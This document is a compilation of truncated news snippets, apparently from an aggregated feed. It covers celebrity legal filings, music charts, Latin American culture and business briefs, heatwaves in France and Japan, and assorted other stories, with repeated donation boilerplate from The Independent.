Listen to this article Estimated 3 minutes The audio version of this article is generated by AI-based technology. Mispronunciations can occur. We are working with our partners to continually review and improve the results. Brad Pitt and Angelina Jolie's daughter Vivienne wants to legally remove "Pitt" from her last name. She's the latest of their six kids to legally file to drop their father's surname. According to documents obtained by CBC News, she filed a petition with the Los Angeles County Superior Court to change her legal name from Vivienne Marcheline Jolie-Pitt to Vivienne Marcheline Jolie. She signed the request on July 12 — her 18th birthday…

A year after his death, The Cosby Show actor Malcolm-Jamal Warner’s widow, Tenisha Warner, is suing his mother, Pamela Warner, for US$1.2 million over alleged breach of contract involving the couple’s prenuptial agreement. Tenisha filed the lawsuit in DeKalb County Superior Court in Georgia, naming his mother as one of the defendants, who is the successor trustee of the Warner Family Trust. In the lawsuit, obtained by NBC News, ABC News and People, Tenisha alleges that she and Warner married on May 23, 2022, and signed a premarital agreement eight days prior. 1:06 ‘The Cosby Show’ star Malcolm-Jamal Warner dies after tragic drowning Global News has…

The arrival of Doctor Doom in Avengers: Doomsday is only months away, but fans are already asking questions about Avengers: Secret Wars. The next Avengers film after Doomsday is set to pave the way for massive changes to the Marvel Cinematic Universe, but don't call it a reboot. Following comments about the comic inspirations for Secret Wars, Marvel boss Kevin Feige is giving a little more insight into just exactly what the MCU will look like after the sixth Avengers film is released in 2027. Feige recently denied that the MCU will undergo a reboot during an interview with Happy Sad Confused's Joshua Horowitz. He notes that, as always, Marvel is…

SoundCloud announced Wednesday that it has acquired Nina Protocol, a decentralized music platform that enabled independent artists to sell music directly to fans while keeping 100% of their revenue. The financial terms of the deal weren’t disclosed. It’s also unclear whether any members of Nina’s team will join SoundCloud. The company has not yet responded to a request for comment. The deal is SoundCloud’s first acquisition since its 2022 purchase of AI music company Musiio to help improve music discovery. The deal signals that SoundCloud is continuing to expand beyond music hosting into a broader platform for independent artists. As part of the…

The latest headlines from our reporters across the US sent straight to your inbox each weekday Your briefing on the latest headlines from across the US Your briefing on the latest headlines from across the US A money manager for singer D4vd testified Wednesday that he knew only Celeste Rivas Hernandez’s first name before the 14-year-old’s dismembered body was discovered in the trunk of a car. Benjamin Gregor’s testimony came during the second day of a Los Angeles preliminary hearing, where a judge is weighing whether there is enough evidence to send D4vd, whose legal name is David Burke, to trial on charges including murder, continuous sexual abuse of…

Colombia · Culture Key Facts —What is RENT? A Pulitzer Prize and four-time Tony Award-winning rock musical by Jonathan Larson about a year in the life of a group of struggling young artists in New York City. —When does it run? August 7 through August 28, 2026, as a limited special season. —Where is the venue? Centro Cultural Gimnasio Moderno, Carrera 9 # 74-99, in the heart of Bogotá. —Who is producing it? A local Colombian production by 2 Productores, not a touring international company. —How much are tickets? Prices range from US$21 to US$57, depending on seating. RENT is coming to Bogotá for the very first time in 2026, bringing a landmark piece of…

Latin America · Culture Key Facts —What it is. The Eric and Dominique Laffont Competition is the Metropolitan Opera’s program to discover and develop exceptional young opera singers. —Who can enter. Vocalists aged 20 to 30 from Argentina, Chile, and Colombia can audition with a video of an operatic aria. —The prize path. District winners advance to a South America final in Santiago, then to New York semifinals and a Grand Finals Concert at the Met. —Cash awards. Semifinalists receive US$5,000, finalists US$10,000, and Grand Finals winners earn US$20,000 each. —First winners. Chilean soprano Camila Romero and Argentine mezzo-soprano Valeria Delmé were…

From rooftops to pasta bars: 14 new venues coming to Melbourne very soon Featuring new arrivals from Andrew McConnell and Chris Lucas, a double shot of energy for Chapel Street and two stellar regional openings, here is what’s landing before year’s end. Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA Big-name restaurateurs, neighbourhood wine bars and ambitious suburban revamps – Melbourne’s hospitality landscape is warming up for a huge influx of newcomers. Halfway through 2026, some of the year’s hottest restaurant openings are still to come. Here are the places to bookmark. Arguably the…

Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA It’s a blustery Monday morning, and inside Opera Australia’s Southbank rehearsal studios, the cast and crew of A Beautiful Noise: The Neil Diamond Musical are starting their second week of rehearsals. About a dozen young dancers in exercise gear are working with associate choreographer Yasmine Lee, traversing the space in exaggerated, slow-motion movements. In the rehearsal space next door, associate director Austin Regan is giving notes to the cast as they run scenes. The show opens with an elderly Diamond (Terence Crawford), talking to a…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Rich Rodriguez discusses the ascent of Pat McAfee with Dan Dakich. Pat McAfee announced significant details Wednesday about his upcoming album. McAfee has become arguably the biggest power player on ESPN and in sports media on YouTube due to his absurd success with "The Pat McAfee Show." The former Indianapolis Colts punter has had the smoothest pivot from professional athletics to media that we've ever seen. EXCLUSIVE: COLIN COWHERD OPENS UP ABOUT SELLING THE VOLUME, SCALING BACK THREE-HOUR SHOW, AND RETIREMENT Now, he's entering the music industry. NFL Commissioner Roger Goodell talks with Pat McAfee on stage during Round Two of the 2026 NFL Draft…

This article was originally published in Rest of World, which covers technology’s impact outside the West. At the end of every year, Spotify Wrapped takes over social media feeds, with users showing off the annual recap of their top music choices. Lately, these reviews have taken on a more international flavor – packed with K-pop and Latino rhythms that mirror the platform’s explosive overseas expansion and increasingly diverse artist catalog. Launched in 2008, Spotify today has about 761 million users, including 293 million subscribers, in 184 markets. Brazilian funk, K-pop, Afrobeats, and Urban Latino are among its fastest-growing genres, and last…

Substack has launched a new feature that can show you which of your favorite newsletters are being written using AI. This week, the newsletter and writing platform announced an integration with the AI writing detection software Pangram that will allow users to scan posts, comments, and replies on Substack’s app to see an estimate of how much of the content was written by a human and how much was AI. In the short term, the move might be bad for Substack’s business, as it could expose many of the newsletters on its platform that aren’t entirely written by people. That could potentially erode trust in the platform’s ecosystem of independent news and…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Miguel Covarrubias took New York by storm before turning 21 and forever changed Mexican history. The post Made in Mexico: Miguel Covarrubias, the man who illustrated the Jazz Age appeared first on Mexico News Daily

Future debuts The Real Me atop the Billboard 200, earning his twelfth No. 1 album. He now claims the fifth-most champions of all time. NEW YORK, NEW YORK - MAY 05: Future attends the 2025 Met Gala Celebrating "Superfine: Tailoring Black Style" at Metropolitan Museum of Art on May 05, 2025 in New York City. (Photo by Dimitrios Kambouris/Getty Images for The Met Museum/Vogue) Getty Images for The Met Museum/Vogue Less than 15 years ago, Future appeared on the Billboard 200 for the first time. The tally is often cited as the most important for albums in the United States, as it measures the most popular full-lengths and EPs in the United States.…

President Donald Trump gives an exclusive tour of the White House Ballroom project, highlighting its design, immense capacity and enhanced security features. He emphasizes it's a gift to America for future generations. NEWYou can now listen to Fox News articles! Lil Wayne is throwing his support behind one of President Donald Trump's most talked-about White House projects. The rap icon praised Trump's plan to build a massive White House ballroom during a Monday appearance on the "Friends Keep Secrets" podcast, arguing the new venue would spare performers from being pushed outside for major events. "I'm so glad to hear Trump say — when they was mad at…

With a lucky thirteenth week at No. 1 on Billboard's Digital Song Sales chart, Ella Langley's "Choosin Texas" ties three tracks as one of the longest-running leaders. NASHVILLE, TENNESSEE - NOVEMBER 19: (EDITORIAL USE ONLY) Ella Langley attends the 2025 CMA Awards at Music City Center on November 19, 2025 in Nashville, Tennessee. (Photo by Taylor Hill/WireImage) WireImage Ella Langley’s “Choosin’ Texas” has spent 39 weeks thus far on the Digital Song Sales chart, which measures the bestselling tracks in the United States through paid downloads from platforms such as iTunes. Digital purchases carry less weight in determining a song’s overall popularity…

Prince George plays on Cornwall beach in new birthday tribute video as he turns 13 The Prince and Princess of Wales have paid tribute to their son Prince George on his birthday, sharing a video of the now-teenager having fun in Cornwall. George, who turned 13 on Wednesday (22 July), can be seen climbing rocks, petting his dog, and playing cricket on the beach in a new footage. “Thank you for all the birthday wishes for George today,” said the Kensington Royal account as they shared the clip online. It comes hours after Kate and William shared a previously unseen photo of the teenager from last month’s Trooping the Colour as they wished him a happy…

São Paulo · Nightlife If You Only Go to One Place Itaú Cultural – Sonora Brasiliana: Juan Falú A stunning free concert by Argentine guitar master Juan Falú on Avenida Paulista. It is the perfect midweek cultural immersion – arrive early, soak up the gallery, then let the music transport you before heading into the Pinheiros night. Tonight at a Glance —Itaú Cultural Free live Latin guitar on Paulista; artsy mixed crowd; tonight 8 pm —Bar Brahma The most iconic samba-and-MPB house in Centro; tourists and locals; live music every night —Santana Bar Sophisticated jazz and blues in Pinheiros; date-night perfection; music from Wednesday —Biri Nait Clubby…

December 10, Simon Cowell's new boy band, debuts its first project, an EP titled On Your Side, inside the top 10 on nearly every chart in the U.K. PASADENA, CALIFORNIA - MARCH 24: Simon Cowell attends "America's Got Talent" Season 21 Media Day at Pasadena Civic Auditorium on March 24, 2026 in Pasadena, California. (Photo by Robin L Marshall/Getty Images) Getty Images For roughly the past decade, K-pop has largely dominated the global market when it comes to commercially successful boy bands and girl groups. South Korean acts regularly score international hits and score bestselling albums, while comparatively few new pop groups from Western countries…

Rio de Janeiro · Nightlife If You Only Go to One Place Bar da Lapa – Pique Novo This is the most traditional samba bar in Lapa, and tonight it hosts Pique Novo for a proper midweek roda de samba. The main act hits around midnight, giving you the full late-night Carioca experience in one iconic spot. Tonight at a Glance —Bar da Lapa Authentic pagode with Pique Novo, main show at midnight; the quintessential Lapa samba crowd on its most traditional night. —Rio Scenarium Samba with Arruda in a stunning antique-filled mansion; best for a dressed-up mixed crowd and a sit-down dinner with live music from 19:00. —Beco do Rato Intimate roda de samba with…

One of Mehdi Hassan's earliest disciples died after suffering a heart attack in Karachi Renowned ghazal singer Jamal Akbar. Photo: Express Renowned ghazal singer Jamal Akbar passed away on Wednesday after suffering a heart attack, his close friend Rais Qadri said. He was 72. According to Qadri, Akbar was taken to Jinnah Postgraduate Medical Centre's Cardiac Centre after suffering a heart attack, where he died. He is survived by his widow and five daughters. Qadri said Akbar had undergone bypass surgery in London two years ago. His family has been living in London for several years, while the singer continued to travel regularly to Pakistan. He said…

A $40,000 1-year CD account will produce a substantial return for savers who maintain the account through its maturity date. skaman306/Getty Images Whether you inherited it, painstakingly saved it in the inflationary economic climate of recent years or earned it via a home sale or inheritance, you'll have plenty of places to invest a large amount of money such as $40,000 now. Real estate, stocks, bonds and even precious metals can all be tempting for savers who have accumulated that much money in their savings account. Each of those investments, however, comes with inherent risks that certain savings accounts won't. And, if you move it into a…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

The Federal Airports Authority of Nigeria (FAAN) has unveiled its 2025 Bye-Laws, marking the first comprehensive review of the authority’s regulatory framework in 21 years. The new bye-laws were officially launched by the Chairman of the FAAN Board, Umar Ganduje, who commended the management for successfully reviewing the legal framework to reflect current realities in the aviation industry. He described the revised bye-laws as a significant milestone that will strengthen airport governance and enhance operational efficiency across the authority. Speaking at the unveiling, the Managing Director/Chief Executive of FAAN, Olubunmi Kuku, said the previous…

The southern greater glider (Petauroides volans) is a nocturnal marsupial native to the forests of southeastern Australia that’s capable of gliding from one tree to another thanks to a flexible membrane fixed between its forearms and hind legs. In a new study published in Australian Mammalogy, researchers recorded 41 such tree-to-tree leaps. The animals launched from an average height of 71.5 feet, landed at an average of 15.4 feet, and covered an average distance of 62.7 feet. Those are impressive jumps through space, especially when you add in that the maximum horizontal distance covered in a glide was 162.7 feet. Credit: Ana Gracanin There’s a…

Opinion I couldn’t wait to leave the town I grew up in. Now I love going back In this series, My Happy Place, our writers reflect on the holiday destinations in Australia and around the world that they cherish the most. July 23, 2026 — 5:00am Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA Ripples on the Mitchell River mirror a dozen sulphur-crested cockatoos soaring overhead, their spread-winged reflections swimming below. The soft scent of eucalyptus drifts through damp air, rooted in the generations of Gippsland red gums that frame this gravel track, sweating so sweetly. As a June sunrise…

July 23, 2026 — 5:00am Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA As I have edged past middle age and moved towards, well, later middle age, I have noticed myself becoming less judgmental. I don’t care about a person’s life choices, as long as they are nice human and do no harm to others. Just the other day, for example, I was listening to a podcast about polyamory as I was climbing the escalator at my local Westfield. Wouldn’t be my cup of tea, I thought, as a woman described her relationships with her three partners, but hey, good for her! As I congratulated myself on my…

Colombia · Business Key Facts —The trigger. Planned maintenance at the SPEC LNG regasification terminal in Cartagena ran from 30 July to 3 August 2026. —Ecopetrol’s response. Nine contingency contracts placed 81 GBTUD of natural gas onto the market to protect thermal power, homes, and vehicles. —Who was covered. Supply was directed to thermal generators, residential distributors, and compressed natural gas filling stations. —The fiscal shadow. Colombia’s fuel-subsidy system carries a potential COP$10 trillion (US$2.47 billion) financing gap. —Energy-security link. Without the bridge gas, the Caribbean coast risked power curtailments during the…

PARIS: France recorded 5,764 more deaths than usual during a record-breaking heatwave last month , health authorities said on Wednesday (Jul 22), describing the excess mortality among people aged 15 and older as "unprecedented". It was the highest excess mortality rate during a heatwave in the country since a devastating episode of high temperatures in 2003 that killed around 15,000 people, they added. Three heatwaves have swept across France since May, the latest in increasingly frequent such extreme weather events that scientists have linked to made-made climate change. The soaring temperatures caused havoc in a country where many homes, schools and…

Environment Canada issued heat warnings for most of B.C. on Wednesday as the hot weather is expected to stick around for a few days across the province. The organization says everyone should be careful as there is a risk to health with such high temperatures. This ridge of high pressure will bring elevated temperatures during the day and while it will cool down at night, temperatures will remain high. In the Fraser Canyon, where three wildfires are burning in the Boston Bar area, temperatures are expected to reach 40 C on Wednesday afternoon. A gradual cooling trend is expected later this week, according to Environment Canada. Heat affects everyone,…

Mexico · Business Key Facts —Downgrade. JPMorgan cut ASUR to Underweight from Neutral and lowered its price target to MX$ 615 (US$ 35.37). —Cancún traffic. Cancún passenger numbers fell 11.5% year over year in June 2026, reaching 2.1 million. —Mexico operations. ASUR’s Mexico traffic dropped 8.5% in June, with international passengers down 12.1%. —Peer comparison. While ASUR’s Q3 capacity is down 3% in Mexico, rival OMA is up 6% and GAP is flat. —Two-year trend. ASUR’s Mexico traffic fell 2% in 2025 after a 5% decline in 2024. ASUR, the Mexican airport group that operates Cancún International Airport and other key gateways, was downgraded by JPMorgan…

Argentina · Business Key Facts —Total raised in 2026. More than US$5.3 billion in corporate notes by Argentine energy companies. —Largest single deal. Edenor, the country’s biggest electricity distributor, issued US$550 million at 9.50%. —Pampa Energía’s activity. The integrated energy group placed US$700 million across two separate note offerings. —Investor logic. Buyers favor firms with dollar-linked revenues from Vaca Muerta shale and power generation. —Sovereign contrast. Argentina’s government remains shut out of international debt markets at reasonable rates. Argentina’s top energy companies have borrowed more than US$5.3 billion through…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Murali Sivaramakrishnan \| Photo Credit: SPECIAL ARRANGEMENT The Chipko movement was not merely a sustenance movement but also a challenge to the hierarchy of development, poet, painter, and academic Murali Sivaramakrishnan has said. He was speaking on 50 years of Chipko, a seminal environment movement in India in the early 1970s, at a discussion on a book, 50 Years of Chipko – the Movement and its Afterlives, that has been edited by him, at an event organised by the Institute of English and the publishers Orient BlackSwan here on Wednesday. Mr. Sivaramakrishnan pointed out that Chipko was an awakening. It eventually grew into talking about…

A Mercedes-Benz logo is displayed on a used vehicle for sale at a dealership on November 11, 2025 in San Diego, CA. Kevin Carter \| Getty Images News \| Getty Images The Senate Commerce Committee advanced bipartisan legislation Wednesday aimed at toughing a ban on Chinese automakers from the U.S. market, even as Chairman Ted Cruz, R-Texas, warned that it could unintentionally bar Mercedes-Benz from selling vehicles in the country. Cruz said during the committee's markup of the Motor Vehicle Modernization Act of 2026 that the bill's 15% Chinese ownership threshold would cover Mercedes-Benz because two Chinese investors collectively own nearly 20% of…

At least 5,700 more people than usual died in France last month, as the country endured a historic heat wave, French public health officials said. That figure represented a sharp increase in the estimated death toll nationwide from June and early July's record temperatures. Public Health France said regions hit by the heat from June 17 to July 2 recorded 21,674 deaths from all causes. But without a heat wave, those same regions would have been expected to have seen far fewer deaths, or 15,910, based on statistical modeling using data from previous years, it said. The difference between expected and actual deaths — a total of 5,764 — are therefore…

The Federal Road Safety Corps (FRSC), Anambra Sector Command, has so far arrested 121 motorists over 214 alleged traffic offences during its ongoing “Operation Total Compliance” in the state. The Sector Commander, Bridget Asekhauno, disclosed this on Wednesday during the enforcement exercise in Awka. Mrs Asekhauno, who the Officer-in-Charge of Motor Vehicle Administration represented, Gloria Ezeugwu, said the three-day operation was conducted across the corps’ 12 zones nationwide. She said the exercise was designed to sensitise motorists to road safety regulations while enforcing compliance and curbing traffic violations capable of causing road…

Japan sizzled under sweltering, life-threatening heat on Wednesday, with temperatures expected to top ​40 degrees Celsius (104 degrees Fahrenheit) in some ‌cities in what the government has newly designated as a "brutally hot day." The weather agency issued heat stroke ​alerts for much of the country, forecasting ​a second straight day of "kokushobi" - literally meaning ⁠brutally hot day - with temperatures expected to reach ​40 C in Kumagaya, north of Tokyo, and ​Nagoya, in central Japan, Reuters reported. Authorities urged residents to use air conditioning liberally, hydrate regularly and avoid spending long hours ​outdoors. Japan has experienced…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…